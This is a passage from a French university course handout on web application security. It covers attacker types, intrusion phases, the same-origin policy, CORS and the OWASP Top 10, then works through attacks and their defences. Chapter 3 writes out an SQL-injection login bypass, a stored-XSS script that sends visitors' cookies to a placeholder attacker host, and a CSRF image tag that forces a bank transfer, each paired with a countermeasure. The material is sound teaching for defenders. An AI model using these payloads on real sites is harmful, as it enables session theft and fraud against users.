RÉPUBLIQUE ALGÉRIENNE DÉMOCRATIQUE ET POPULAIRE
Ministère de l'Enseignement Supérieur et de la Recherche Scientifique

Université de Skikda — Département d'Informatique

Master : Sécurité informatique
Semestre 3 (M2) — UE Fondamentale UEF322

Sécurité des applications Web et mobiles

Polycopié de cours

Crédits : 4 | Coefficient : 3 | Mode d'évaluation : Contrôle continu + Examen

Enseignant : M. Laïdi FOUGHALI
l.foughali@univ-skikda.dz

Année universitaire 2026/2027
Mis à jour le 2026-09-22 à 23:25:07

Fiche descriptive du module

Intitulé du Master	Sécurité informatique
Semestre	S3
Unité d'enseignement	UEF322
Crédits	4
Coefficient	3
Prérequis recommandés	Sécurité des réseaux et analyse des vulnérabilités numériques
Mode d'évaluation	Contrôle continu et examen

Objectifs de l'enseignement

Comprendre les principes et concepts fondamentaux de la navigation Web sécurisée, l'architecture de développement Web, les principales vulnérabilités et attaques spécifiques au Web, ainsi que les mécanismes et bonnes pratiques de développement et de configuration d'applications Web. Comprendre le rôle du chiffrement dans la sécurité des applications et des appareils mobiles et décrire les scénarios courants d'application du chiffrement.

Progression pédagogique

Le module s'organise en huit chapitres. Les chapitres 1 à 7 traitent principalement de la sécurité des applications Web, depuis les méthodes d'attaque jusqu'aux services Web, tandis que le chapitre 8 est consacré à la sécurité mobile. Chaque chapitre comporte des objectifs, un développement, des points clés et des exercices d'application.

Table des matières

Chapitre 1

Vulnérabilités et méthodes d'attaque

Objectifs du chapitre

Identifier les catégories d'attaquants et leurs motivations, décrire l'organisation des équipes offensives et défensives, maîtriser les phases d'une intrusion, comprendre la notion de vulnérabilité et de faille « zero-day », et distinguer les grandes familles d'attaques (code malveillant, ingénierie sociale, attaques applicatives).

Pourquoi commencer par ce chapitre ?

Avant d'étudier *comment* sécuriser une application (chapitres 2 à 8), il faut comprendre *contre qui* et *contre quoi* on se défend. Un mécanisme de sécurité n'a de sens que face à un modèle de menace précis : on ne protège pas de la même façon contre un script kiddie qui teste des outils automatiques et contre un groupe étatique qui prépare une campagne d'espionnage sur plusieurs mois. Ce chapitre pose donc le vocabulaire et les modèles (acteurs, équipes, phases d'attaque, vulnérabilités) qui seront réutilisés dans tout le reste du cours.

1.1 Différents types de hackers

Le terme « hacker » désigne à l'origine un expert capable de détourner un système de son usage prévu — sans connotation négative. En sécurité, on classe généralement les acteurs selon deux axes : leur **intention** (protéger vs nuire) et la **légalité** de leur action (autorisée vs non autorisée).

— **Black hat** : attaquant malveillant agissant sans autorisation, à des fins de gain, de sabotage ou de vol de données.

— **White hat** : professionnel de la sécurité (pentester, chercheur) agissant légalement et avec autorisation pour renforcer les systèmes.

— **Grey hat** : acteur intermédiaire qui découvre des failles sans autorisation mais sans intention nettement malveillante — il prévient parfois l'éditeur, parfois publie sans accord préalable.

— **Script kiddies** : individus peu qualifiés réutilisant des outils et exploits existants (souvent trouvés sur GitHub ou des forums) sans en comprendre le fonctionnement interne.

— **Hacktivistes** : groupes motivés par une cause politique ou idéologique (défiguration de sites, fuites de documents, attaques DDoS de protestation).

— **Cybercriminels organisés** : structures professionnelles cherchant un profit financier (rançongiciels, fraude bancaire, revente de données volées sur des marchés du *dark web*).

— **Menaces internes (insiders)** : employés ou prestataires qui abusent d'un accès légitime — souvent le vecteur le plus difficile à détecter, car l'accès n'est pas en soi anormal.

— **Groupes étatiques / APT** (*Advanced Persistent Threat*) : acteurs soutenus par des États, dotés de moyens importants (budget, temps, exploits zero-day), visant l'espionnage ou le sabotage sur le long terme.

Quelques cas connus

— **Kevin Mitnick** : black hat dans les années 1990 (intrusions chez plusieurs opérateurs télécoms et éditeurs), devenu ensuite consultant en sécurité (white hat) — illustre bien la porosité entre les catégories.

— **Anonymous** : collectif hacktiviste décentralisé, connu pour des défigurations de sites et des campagnes de dénonciation.

— **Lazarus Group** : groupe APT attribué à la Corée du Nord, impliqué dans le piratage de Sony Pictures (2014) et le vol de cryptomonnaies à grande échelle.

— **Groupes de rançongiciel** (LockBit, Conti, etc.) : cybercriminalité organisée fonctionnant en *Ransomware-as-a-Service*, avec affiliés rémunérés à la commission.

1.2 Organisation et objectifs des équipes de hackers

Côté défensif comme offensif, l'activité s'organise en équipes spécialisées. Une image simple : le **red team** joue le rôle de cambrioleurs engagés pour tester les serrures d'une maison, le **blue team** est l'équipe de vigiles qui doit les détecter et les arrêter, et le **purple team** est la réunion de débriefing où les deux équipes comparent leurs observations pour améliorer la maison.

— **Red team** : simule un attaquant réel (reconnaissance, exploitation, ingénierie sociale, tests physiques parfois) pour évaluer la résistance globale d'une organisation, au-delà d'un simple test d'intrusion technique.

— **Blue team** : défend, détecte et répond aux incidents — supervise les journaux, exploite un SIEM (*Security Information and Event Management*), configure IDS/IPS et EDR, durcit les configurations.

— **Purple team** : n'est pas une équipe permanente mais une *fonction de coordination* entre rouge et bleu, pour transformer chaque simulation d'attaque en amélioration concrète de la détection.

Les groupes offensifs poursuivent des objectifs variés : gain financier (extorsion, fraude), espionnage industriel ou étatique, revendication idéologique, ou recherche de notoriété. Les groupes structurés se répartissent les rôles (reconnaissance, développement d'outils, exploitation, monétisation) à la manière d'une entreprise — certains groupes de rançongiciel opèrent même avec un support client pour leurs victimes, ce qui explique leur efficacité et leur persistance.

1.3 Les phases d'intrusion

Une intrusion suit généralement un enchaînement d'étapes, formalisé par des modèles comme la *Cyber Kill Chain* (Lockheed Martin) ou le référentiel *MITRE ATT&CK*, aujourd'hui la référence la plus utilisée par les praticiens pour cartographier les techniques observées.

1. **Reconnaissance** : collecte passive et active d'informations sur la cible — OSINT (*Open Source Intelligence*), énumération de sous-domaines, recherche d'employés sur LinkedIn, *Google dorking*, scan de ports ouverts (par exemple avec `nmap`).
2. **Scan et énumération** : cartographie précise des services, de leurs versions et des comptes exposés (ex. `nmap -sV`, énumération de partages réseau, de sous-répertoires Web).

3. **Accès initial / exploitation** : exploitation d'une vulnérabilité logicielle (via un outil comme Metasploit) ou d'identifiants compromis (phishing, mot de passe faible, réutilisation de mot de passe fuité) pour obtenir un premier accès.
4. **Élévation de privilèges** : obtention de droits supérieurs (administrateur, root) en exploitant une mauvaise configuration ou une faille locale.
5. **Persistance** : maintien de l'accès dans la durée (portes dérobées, tâches planifiées, comptes cachés, implants).
6. **Mouvement latéral et exfiltration** : progression vers d'autres machines du réseau (par exemple par vol d'identifiants ou *pass-the-hash*) puis vol progressif des données (transfert vers un serveur externe, tunnel DNS, service cloud public).
7. **Effacement des traces** : suppression ou altération des journaux pour retarder la détection et compliquer l'investigation (voir aussi la notion de criminalistique numérique).

Un scénario complet

Une boutique en ligne expose un formulaire de contact mal filtré. Un attaquant :

1. repère le site via un moteur de recherche et identifie la technologie utilisée (*reconnaissance*) ;
2. détecte que le champ « message » est vulnérable à l'injection SQL (*scan*) ;
3. exploite l'injection pour récupérer la table des comptes administrateurs (*exploitation*) ;
4. se connecte avec les identifiants administrateur obtenus (*élévation de privilèges*) ;
5. installe un compte caché et une tâche planifiée pour revenir plus tard (*persistance*) ;
6. exporte progressivement la base des clients vers un serveur externe (*exfiltration*) ;
7. supprime les journaux d'accès du serveur Web (*effacement des traces*).

Ce scénario relie directement les chapitres suivants : l'injection SQL et la protection des formulaires sont détaillées au chapitre 3.

1.4 Analyse des vulnérabilités et failles zero-day

Une **vulnérabilité** est une faiblesse d'un système susceptible d'être exploitée pour compromettre la confidentialité, l'intégrité ou la disponibilité. Les vulnérabilités connues sont référencées par un identifiant **CVE** (*Common Vulnerabilities and Exposures*, ex. `CVE-2021-44228`) et évaluées par un score de gravité **CVSS** (*Common Vulnerability Scoring System*), calculé notamment à partir du vecteur d'attaque, de la complexité d'exploitation, des privilèges requis et de l'impact sur la confidentialité/intégrité/disponibilité. Le score va de 0 à 10 : on parle généralement de gravité *faible* (0,1–3,9), *moyenne* (4,0–6,9), *élevée* (7,0–8,9) et *critique* (9,0–10). Les scanners de vulnérabilités (Nessus, OpenVAS, etc.) automatisent leur détection en comparant les versions de logiciels installés à des bases de CVE connues.

Faille zero-day

Une vulnérabilité « zero-day » est une faille inconnue de l'éditeur, pour laquelle aucun correctif n'existe encore. Elle est particulièrement dangereuse car la « fenêtre d'exposition » — entre la découverte par l'attaquant et la publication d'un correctif — laisse les systèmes sans protection possible autre que des mesures de contournement. Ces failles font l'objet d'un marché parallèle où elles se négocient à prix élevé (parfois plusieurs centaines de milliers de dollars pour une faille critique sur un système très répandu).

Log4Shell — un zero-day critique récent

Fin 2021, la faille `CVE-2021-44228` (« Log4Shell »), découverte dans la bibliothèque de journalisation Java *Log4j* utilisée par des millions d'applications, a obtenu un score CVSS

de **10/10**. Un simple message contenant une chaîne spécialement construite, journalisé par l'application, permettait d'exécuter du code arbitraire à distance sans authentification. Elle illustre à la fois la gravité que peut atteindre une vulnérabilité applicative et l'ampleur de l'impact quand la faille se situe dans un composant tiers largement réutilisé (voir aussi le risque OWASP A06, chapitre 3).

On distingue enfin la **divulgation responsable** (*responsible disclosure* : le chercheur informe l'éditeur et laisse un délai raisonnable avant publication) de la **divulgation complète** (*full disclosure* : publication immédiate, parfois pour forcer une correction rapide) — un choix qui a des conséquences directes sur la fenêtre d'exposition des utilisateurs.

1.5 Attaques par code malveillant

Les logiciels malveillants (*malwares*) se distinguent par leur mode de propagation et leur charge utile (*payload*) :

- **Virus** : code s'attachant à un programme hôte et se propageant à son exécution — nécessite une action humaine (ouvrir un fichier).
- **Ver (worm)** : se propage seul à travers le réseau, sans hôte ni action humaine, souvent en exploitant une vulnérabilité réseau.
- **Cheval de Troie** : programme d'apparence légitime dissimulant une fonction malveillante.
- **Rançongiciel (ransomware)** : chiffre les données de la victime et exige une rançon, généralement en cryptomonnaie, pour la clé de déchiffrement.
- **Logiciel espion (spyware)** : collecte discrètement des informations (frappes clavier, navigation, identifiants).
- **Rootkit** : se dissimule au cœur du système (souvent au niveau noyau) pour maintenir un accès furtif et échapper aux antivirus classiques.
- **Botnet** : réseau de machines compromises (« zombies ») pilotées à distance par un serveur de commande et contrôle (C2), utilisé pour des attaques DDoS ou l'envoi de spam massif.

Deux cas emblématiques

- **WannaCry** (2017) : rançongiciel combiné à un *ver*, exploitant la faille SMB *EternalBlue* pour se propager automatiquement sans aucune action utilisateur — plus de 200 000 machines touchées dans 150 pays en quelques jours.
- **Mirai** (2016) : botnet ciblant des objets connectés (caméras, routeurs) mal sécurisés (identifiants par défaut), utilisé pour lancer des attaques DDoS massives contre des infrastructures Internet critiques.

La détection combine deux approches complémentaires : la détection **par signature** (reconnaître un motif binaire connu — rapide mais inefficace contre un malware inédit) et la détection **comportementale/heuristique** (repérer des actions suspectes — chiffrement massif de fichiers, connexions inhabituelles — même sur un malware jamais vu).

1.6 Attaques d'ingénierie sociale

L'ingénierie sociale manipule l'humain plutôt que la technique. Elle reste l'un des vecteurs d'intrusion les plus efficaces, car il est souvent plus simple de convaincre une personne de cliquer sur un lien que de contourner un pare-feu.

— **Hameçonnage (phishing)** : courriels ou sites frauduleux imitant une entité de confiance (banque, service RH, fournisseur cloud) pour obtenir des identifiants ou déclencher l'exécution d'une pièce jointe malveillante.

— **Spear phishing / whaling** : hameçonnage ciblé et personnalisé, visant une personne précise (*spear phishing*) ou un dirigeant (*whaling*), souvent après une phase de reconnaissance sur les réseaux sociaux professionnels.

— **Prétexte (pretexting)** : scénario inventé (« je suis du support informatique, j'ai besoin de votre mot de passe pour une maintenance ») pour obtenir des informations.

— **Appât (baiting)** : support piégé (clé USB « perdue » dans un parking) exploitant la curiosité de la victime.

— **Vishing / smishing** : variantes par appel téléphonique (*voice phishing*) ou par SMS.

Ces techniques exploitent des ressorts psychologiques bien identifiés : l'**autorité** (se faire passer pour un supérieur ou un technicien), l'**urgence** (« votre compte sera bloqué dans 24h »), la **peur** et la **curiosité**. La défense repose surtout sur la sensibilisation régulière des utilisateurs, des procédures de vérification systématiques pour toute demande sensible, et l'authentification forte (qui limite l'impact d'un mot de passe volé).

Twitter — juillet 2020

Des attaquants ont obtenu, par *vishing* (appels téléphoniques se faisant passer pour le support informatique interne), les identifiants d'accès d'employés de Twitter aux outils d'administration internes. Ils ont ensuite pris le contrôle de comptes vérifiés de personnalités et d'entreprises pour diffuser une arnaque aux cryptomonnaies — un exemple où l'ingénierie sociale seule, sans aucune faille technique exploitée, a suffi à compromettre une plateforme majeure.

1.7 Attaques d'applications

Les attaques applicatives ciblent les logiciels eux-mêmes plutôt que le réseau ou l'utilisateur :

— **Injections** (SQL, commandes système, etc.) : détaillées au chapitre 3 pour le cas Web.

— **Dépassements de tampon** (*buffer overflow*) : écriture de données au-delà de l'espace mémoire alloué, pouvant écraser l'adresse de retour d'une fonction et détourner le flux d'exécution du programme.

— **Attaques sur la logique métier** : exploitation non pas d'un bug technique mais d'un enchaînement de fonctionnalités légitimes détourné (par exemple, modifier le prix d'un article dans une requête interceptée avant validation du paiement).

— **Exploitation de composants tiers vulnérables** : le cas de Log4Shell (section précédente) en est l'illustration la plus marquante de ces dernières années.

Les attaques spécifiques aux applications Web sont détaillées au chapitre 3, celles sur les applications mobiles au chapitre 8.

Points clés à retenir

— Les attaquants se classent par intention (black/white/grey hat, hacktivistes, APT) et se structurent en équipes (red, blue, purple).

— Une intrusion suit des phases : reconnaissance, exploitation, élévation de privilèges, persistance, exfiltration, effacement des traces (Cyber Kill Chain / MITRE ATT&CK).

— Une faille zero-day est inconnue de l'éditeur et sans correctif ; sa fenêtre d'exposition la rend critique (ex. Log4Shell, CVSS 10/10).

— Le code malveillant (virus, ver, ransomware, botnet…) et l'ingénierie sociale sont deux

vecteurs majeurs, souvent combinés dans une même attaque.

Questions et exercices

1. Comparez red team, blue team et purple team en précisant le rôle et l'objectif de chacune.
2. Expliquez pourquoi une vulnérabilité zero-day est plus dangereuse qu'une vulnérabilité connue. Illustrez avec l'exemple de Log4Shell.
3. Donnez trois techniques d'ingénierie sociale et une contre-mesure adaptée à chacune.
4. Placez les phases d'une intrusion sur une frise et associez-y un exemple d'outil ou de technique pour chacune.
5. WannaCry combine deux catégories de malware. Lesquelles, et pourquoi cette combinaison l'a-t-elle rendu particulièrement destructeur ?

Sources du chapitre : canevas officiel du module (UEF322, chapitre 1) ; incidents publics largement documentés (WannaCry, Log4Shell/CVE-2021-44228, piratage Twitter de juillet 2020) relevant de la connaissance générale du domaine de la cybersécurité, non tirés d'un ouvrage particulier.

Chapitre 2

Modèle de sécurité Web

Objectifs du chapitre

Comprendre pourquoi le navigateur se comporte comme un système d'exploitation exécutant du code non fiable, décrire le contrôle d'accès par permissions, et maîtriser les mécanismes d'isolation entre origines ainsi que les canaux de communication autorisés.

2.1 Le navigateur comme système d'exploitation et plateforme d'exécution

Le navigateur moderne exécute en permanence du code provenant de sites potentiellement hostiles (HTML, CSS, JavaScript), simplement parce que l'utilisateur a cliqué sur un lien. À ce titre, il joue un rôle analogue à celui d'un système d'exploitation : il gère des « processus » (onglets, cadres — Chrome avec *Site Isolation* et Firefox avec *Fission* placent chaque site dans un processus système séparé et restreint), alloue des ressources (mémoire, CPU), contrôle l'accès au réseau, au stockage local et aux périphériques (caméra, micro, GPS), et doit isoler des applications qui ne se font pas confiance — exactement comme un OS doit isoler deux programmes qui ne devraient pas pouvoir lire la mémoire l'un de l'autre.

Contrairement aux systèmes classiques dotés d'un modèle de permissions unifié (par exemple le modèle utilisateur/groupe d'Unix, où chaque fichier a un propriétaire et des droits clairs), le Web n'a pas de modèle de sécurité global et cohérent : il s'est construit par couches successives au fil de l'évolution du HTML, du JavaScript et des API du navigateur, ce qui a produit une **accumulation de mécanismes partiels** plutôt qu'une architecture pensée d'emblée. C'est précisément ce que documente en détail Zalewski dans *The Tangled Web* (voir bibliographie) : chaque nouvelle fonctionnalité du Web a dû composer avec les choix de sécurité — parfois hérités du hasard — des versions précédentes. Cette accumulation rend l'analyse de la surface d'attaque particulièrement délicate : il ne suffit pas de connaître une règle unique, il faut connaître l'historique des exceptions.

2.2 Contrôle d'accès basé sur les permissions

Certaines capacités du terminal sont trop sensibles pour être accordées automatiquement à n'importe quel site : géolocalisation, caméra et microphone, notifications push, accès au presse-papiers, stockage persistant illimité, etc. Le navigateur agit comme un **moniteur de référence** : il intercepte chaque demande d'accès à une capacité sensible, l'affiche à l'utilisateur sous forme d'une invite explicite (« ce site souhaite accéder à votre position »), et n'accorde l'accès qu'après consentement explicite — révocable à tout moment dans les paramètres du navigateur. Ces API sensibles ne sont en outre disponibles qu'en **contexte sécurisé** (page servie

en HTTPS, ou `localhost` pour le développement) : un site en HTTP simple ne peut même pas les demander. Côté serveur, l'en-tête `Permissions-Policy` permet enfin de restreindre les capacités qu'une page — et les iframes qu'elle intègre — ont le droit de solliciter, par exemple `Permissions-Policy: camera=(), geolocation=(self)`.

Le contenu actif (JavaScript en particulier) s'exécute par ailleurs dans un « bac à sable » (*sandbox*) : même une fois chargé, un script ne peut pas, par exemple, lire directement des fichiers arbitraires sur le disque ou lancer des processus système — il ne peut agir qu'au travers des API explicitement exposées par le navigateur, elles-mêmes soumises au modèle de permissions.

2.3 Protocoles, isolation et communication

La pierre angulaire de l'isolation Web est la **politique de même origine** (*Same-Origin Policy*, SOP), introduite dès 1995 dans Netscape Navigator 2 — c'est donc l'un des plus anciens mécanismes de sécurité encore en vigueur aujourd'hui sur le Web.

Origine (origin)

Une origine est définie par le triplet **protocole** – **nom d'hôte** – **port**. Deux documents ne peuvent accéder mutuellement à leur contenu (DOM, réponses réseau) que si leurs origines coïncident *exactement* ; toute divergence de schéma, d'hôte ou de port entraîne un refus.

Même origine ou pas ?

Soit la page de référence `https://exemple.dz/`. Sont-elles de même origine ?

URL comparée	Même origine ?	Raison
`https://exemple.dz/page2`	Oui	Seul le chemin diffère
`http://exemple.dz/`	Non	Protocole différent (http vs https)
`https://exemple.dz:8443/`	Non	Port différent (443 implicite vs 8443)
`https://www.exemple.dz/`	Non	Nom d'hôte différent (sous-domaine)
`https://autresite.dz/`	Non	Nom d'hôte totalement différent

Il faut bien comprendre ce que la SOP interdit réellement. Entre deux origines différentes, une page peut librement **envoyer** des requêtes (soumettre un formulaire, suivre un lien, rediriger) et **intégrer** des ressources (`<img>`, `<script>`, feuilles CSS, `<iframe>`) ; ce qui lui est interdit, c'est de **lire** le résultat : le DOM d'un cadre d'une autre origine, ou la réponse d'une requête `fetch`/`XMLHttpRequest`. Autrement dit, la SOP protège la *lecture* des réponses, pas l'*envoi* des requêtes.

La SOP n'empêche pas l'envoi

Puisque l'envoi reste permis, un site malveillant peut toujours faire émettre par le navigateur de la victime une requête authentifiée (accompagnée de ses cookies) vers un autre site : il ne pourra pas lire la réponse, mais l'action sera exécutée. C'est exactement le principe du CSRF, étudié au chapitre 3.

Ce principe est robuste et implémenté de manière cohérente par tous les navigateurs modernes, mais il ne couvre qu'un sous-ensemble des interactions inter-documents et existe en plusieurs variantes selon la ressource protégée. Les **cookies**, en particulier, suivent leur propre modèle : leur portée repose sur le domaine et le chemin, pas sur l'origine ; ils **ignorent le port** et, sans l'attribut `Secure`, le protocole — une subtilité fréquemment source de vulnérabilités. Certaines origines sont par ailleurs **spéciales** : un document `about:blank` hérite de l'origine de la page qui l'a créé, tandis que les URL `data:` et les iframes dotées de l'at-

tribut `sandbox` reçoivent une origine **opaque**, sérialisée en `null`. Comme n'importe quel site peut produire cette origine `null`, il ne faut jamais lui accorder de confiance (par exemple via `Access-Control-Allow-Origin: null`).

Un point important, largement analysé par Zalewski : la politique de même origine **n'est pas synchronisée** avec l'état d'authentification, l'état SSL ou le contexte réseau. Deux fenêtres restent de même origine même si l'utilisateur change de compte dans l'une d'elles, ou si le certificat TLS passe de valide à invalide en cours de session. Ce défaut de synchronisation peut aggraver l'exploitation d'autres failles, comme le CSRF évoqué ci-dessus.

Lorsque des origines différentes doivent légitimement communiquer — ce qui est très fréquent (widgets tiers, iframes de paiement, API distantes) — des mécanismes contrôlés existent :

— `postMessage` : API JavaScript permettant l'échange explicite de messages entre fenêtres ou cadres, y compris d'origines différentes. Deux règles s'imposent : l'**émetteur** précise l'origine destinataire (`cible.postMessage(donnees, "https://partenaire.dz")`, jamais `"*"` pour un message sensible), et le **récepteur** vérifie l'origine de l'expéditeur (`event.origin`) avant de traiter un message reçu — une vérification trop souvent omise en pratique, qui ouvre la porte à l'injection de données, au vol de jetons, voire à du XSS si le contenu est inséré dans la page.

— **CORS** (*Cross-Origin Resource Sharing*) : mécanisme côté serveur permettant d'autoriser explicitement la *lecture* de réponses inter-origines, via des en-têtes HTTP comme `Access-Control-Allow-Origin`. Pour les requêtes qui ne sont pas « simples » (méthodes `PUT`/`DELETE`, corps JSON, en-têtes personnalisés), le navigateur envoie d'abord une requête de « pré-vol » (*preflight*, méthode `OPTIONS`) pour vérifier que le serveur autorise la requête réelle avant de l'envoyer.

En-tête CORS minimal

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app-partenaire.dz
Access-Control-Allow-Methods: GET, POST
Content-Type: application/json
```

Seul le site `https://app-partenaire.dz` est autorisé à lire la réponse de cette API depuis un contexte JavaScript. La valeur `*` (joker) autoriserait *tous* les sites, mais uniquement pour des requêtes *sans* identifiants : dès que la requête transporte des cookies, le serveur doit renvoyer `Access-Control-Allow-Credentials: true` avec une origine **précise**, et le navigateur refuse alors le joker.

Mauvaise configuration CORS classique

La mauvaise configuration CORS la plus répandue consiste à recopier dans `Access-Control-Allow-Origin` l'en-tête `Origin` reçu, sans le comparer à une liste blanche, tout en renvoyant `Access-Control-Allow-Credentials: true`. N'importe quel site peut alors lire, avec les cookies de la victime, les données de l'utilisateur connecté. La bonne pratique : comparer l'origine reçue à une liste explicite d'origines autorisées, et ne jamais accepter `null`.

Points clés à retenir

— Le navigateur exécute du code non fiable : il fonctionne comme un OS qui doit isoler des applications hostiles, avec un modèle de permissions et un bac à sable pour le contenu actif.

— Le Web n'a pas de modèle de sécurité unifié ; la SOP en est le socle historique (1995) mais reste partielle et varie selon la ressource protégée.

— Une origine = protocole + hôte + port ; l'isolation échoue dès qu'un des trois diffère.

— La SOP interdit la **lecture** inter-origines, pas l'**envoi** de requêtes : c'est ce qui rend le CSRF possible.

— La SOP est partielle : les cookies ignorent le port, les origines opaques valent `null`, et elle n'est liée ni à l'état d'authentification ni au certificat TLS.

— `postMessage` (origine cible précisée + vérification de `event.origin`) et CORS (liste blanche d'origines côté serveur) sont les canaux contrôlés de communication inter-origines.

Questions et exercices

1. Deux documents `http://site.dz:80` et `https://site.dz:443` sont-ils de même origine ? Justifiez précisément.
2. Expliquez en quoi le navigateur peut être comparé à un système d'exploitation. Citez deux ressources qu'il doit protéger de la même façon qu'un OS protège la mémoire d'un processus.
3. La SOP empêche-t-elle un site malveillant d'envoyer une requête authentifiée à votre banque ? Qu'empêche-t-elle réellement ? Reliez votre réponse au chapitre 3 (CSRF).
4. Pourquoi un cookie posé par `https://site.dz:8443` est-il envoyé à `https://site.dz` ?
5. Décrivez le rôle de CORS et la différence avec `postMessage`. Une API renvoie l'en-tête `Origin` recopié avec `Access-Control-Allow-Credentials: true` : quel est le risque, et comment le corriger ?
6. Une iframe intégrant un widget tiers doit recevoir un message contenant un jeton de session. Quelle vérification le code JavaScript qui reçoit ce message via `postMessage` doit-il impérativement effectuer avant de faire confiance à son contenu ?

Sources du chapitre : canevas officiel du module (UEF322, chapitre 2) ; cadre conceptuel du navigateur comme plateforme d'exécution et analyse de la Same-Origin Policy informés par M. Zalewski, The Tangled Web (2011), ouvrage de référence du module (voir bibliographie) ; documentation technique standard (MDN Web Docs) pour CORS, postMessage et Permissions-Policy.

Chapitre 3

Sécurité des applications Web

Objectifs du chapitre

Connaître les risques majeurs recensés par l'OWASP, comprendre le fonctionnement des attaques Web les plus courantes (injection, XSS, CSRF), et maîtriser les techniques de protection à mettre en œuvre.

3.1 OWASP – Top 10 des risques

L'OWASP (*Open Worldwide Application Security Project*) est une fondation à but non lucratif qui publie, depuis 2003 et mise à jour tous les 3 à 4 ans, un classement de référence des dix risques de sécurité les plus critiques pour les applications Web. C'est aujourd'hui le document de sécurité applicative le plus cité au monde, utilisé aussi bien par les développeurs que par les auditeurs et les régulateurs (le PCI-DSS l'exige explicitement pour les sites traitant des paiements). Dans sa version de 2021, il comprend :

A01 Contrôle d'accès défaillant (*Broken Access Control*) : accès à des ressources ou actions non autorisées – catégorie n°1, présente dans la quasi-totalité des applications testées par l'OWASP.

A02 Défaillances cryptographiques (*Cryptographic Failures*) : données sensibles mal ou non chiffrées (anciennement nommé « exposition de données sensibles »).

A03 Injection : SQL, commandes, ainsi que le *cross-site scripting* (XSS), désormais intégré à cette catégorie.

A04 Conception non sécurisée (*Insecure Design*) : failles de conception plutôt que d'implémentation – une catégorie qui rappelle qu'aucun code, même parfaitement écrit, ne corrige une architecture pensée sans la sécurité en tête.

A05 Mauvaise configuration de sécurité : paramètres par défaut non modifiés, messages d'erreur trop verbeux, services inutiles exposés.

A06 Composants vulnérables et obsolètes : bibliothèques tierces non mises à jour (cas de Log4Shell, chapitre 1).

A07 Défaillances d'identification et d'authentification.

A08 Défaillances d'intégrité des logiciels et des données (ex. mise à jour non signée, désérialisation non fiable).

A09 Défaillances de journalisation et de supervision : sans journal exploitable, une intrusion peut rester invisible pendant des mois (voir chapitre 1, phase « effacement des traces »).

A10 Falsification de requête côté serveur (SSRF) : le serveur est trompé pour effectuer lui-même une requête vers une ressource interne normalement inaccessible depuis l'extérieur.

3.2 Attaques Web majeures

Injection SQL

Une injection SQL se produit lorsqu'une entrée utilisateur est concaténée directement dans une requête SQL, sans séparation entre le code et la donnée.

Injection SQL classique – contournement d'authentification

Requête construite naïvement côté serveur :

```
SELECT * FROM utilisateurs
WHERE login = '$login' AND mot_de_passe = '$motdepasse';
```

Si l'attaquant saisit comme mot de passe : `' OR '1'='1`, la requête devient :

```
SELECT * FROM utilisateurs
WHERE login = 'admin' AND mot_de_passe = '' OR '1'='1';
```

La condition `'1'='1'` étant toujours vraie, la requête retourne l'utilisateur `admin` sans connaître son mot de passe – l'attaquant est authentifié.

XSS (*Cross-Site Scripting*)

Injection de script exécuté dans le navigateur d'*autres* utilisateurs – contrairement à l'injection SQL, la victime finale n'est pas le serveur mais les visiteurs de la page. On distingue trois variantes :

- **XSS réfléchi** : le script fait partie de la requête (ex. paramètre d'URL) et est renvoyé tel quel dans la réponse HTML – il ne s'exécute que si la victime clique sur un lien piégé.
- **XSS stocké** : le script est enregistré côté serveur (ex. dans un commentaire) et s'exécute pour *tous* les visiteurs qui consultent la page – le plus dangereux des trois.
- **XSS DOM-based** : la vulnérabilité se situe entièrement côté client, dans du JavaScript qui insère une donnée non filtrée directement dans le DOM (ex. via `innerHTML`), sans même que le serveur soit impliqué.

XSS stocké dans un champ commentaire

Un attaquant poste comme commentaire de blog :

```
<script>
  fetch('https://attaquant.evil/vol?cookie=' + document.cookie);
</script>
```

Si le commentaire est affiché sans encodage, ce script s'exécute dans le navigateur de *chaque* visiteur de la page, et envoie son cookie de session à l'attaquant – qui peut alors usurper sa session (voir chapitre 6).

CSRF (*Cross-Site Request Forgery*)

Un site tiers force le navigateur de la victime à envoyer une requête authentifiée vers un site où elle est déjà connectée, à son insu – en s'appuyant sur le fait que le navigateur joint automatiquement les cookies à chaque requête vers un domaine, quelle que soit la page qui a déclenché cette requête.

CSRF – virement bancaire forcé

La victime est connectée sur `banque.dz`. Elle visite ensuite une page malveillante contenant :

```
<img src="https://banque.dz/virement?vers=attaquant&montant=5000">
```

Le navigateur charge automatiquement cette « image », donc envoie la requête GET vers `banque.dz` avec les cookies de session de la victime déjà joints. Si le serveur ne vérifie rien d'autre qu'un cookie valide, le virement est exécuté sans que la victime ne s'en rende compte. C'est précisément ce que corrige l'attribut de cookie `SameSite` et le jeton anti-CSRF (voir « Techniques de protection » ci-dessous et chapitre 6).

Clickjacking

Superposition d'un cadre (iframe) invisible ou transparent au-dessus d'un contenu attractif, incitant l'utilisateur à cliquer sur un bouton du site ciblé (ex. « J'aime », « Confirmer ») sans le savoir. L'en-tête `X-Frame-Options` ou la directive CSP `frame-ancestors` (chapitre 5) permettent d'empêcher un site d'être intégré dans une iframe étrangère.

Injection

Une injection se produit lorsqu'une entrée non fiable est interprétée par un moteur (SQL, shell, HTML/JavaScript) comme faisant partie d'une commande ou d'un contenu de confiance, plutôt que comme une simple donnée. La cause profonde, dans les trois exemples ci-dessus, est toujours la même : l'**absence de séparation stricte entre code et données**.

3.3 Techniques de protection des applications Web

La même injection SQL — corrigée par requête paramétrée

```
# Requete preparee : le mot de passe reste une DONNEE,
# jamais interprete comme du code SQL, quelle que soit sa valeur
SELECT * FROM utilisateurs
WHERE login = ? AND mot_de_passe = ?;
```

Même si l'attaquant saisit `' OR '1'='1`, cette chaîne est traitée comme une valeur littérale à comparer, jamais comme une clause SQL supplémentaire.

- **Validation et assainissement des entrées** : n'accepter que des données conformes à un format attendu (liste blanche plutôt que liste noire).
- **Requêtes paramétrées / ORM** : empêcher l'injection SQL en séparant strictement code et données (exemple ci-dessus).
- **Encodage des sorties** : transformer les caractères spéciaux (`<`, `>`, `"`, `&`) en leurs équivalents HTML avant affichage, pour neutraliser le XSS – un `<script>` injecté devient alors du texte inerte affiché tel quel.
- **Jetons anti-CSRF et attribut `SameSite`** : lier chaque action sensible à un jeton imprévisible que seul le site légitime connaît, ou empêcher le navigateur d'envoyer le cookie de session lors d'une requête initiée depuis un autre site.
- **En-têtes de sécurité** : `Content-Security-Policy` (chapitre 5), `X-Frame-Options`, `Strict-Transport-Security` (chapitre 4), `X-Content-Type-Options: nosniff`.
- **Principe du moindre privilège** et gestion sûre des sessions (chapitre 6) : même en cas de faille, limiter ce que l'attaquant peut atteindre.

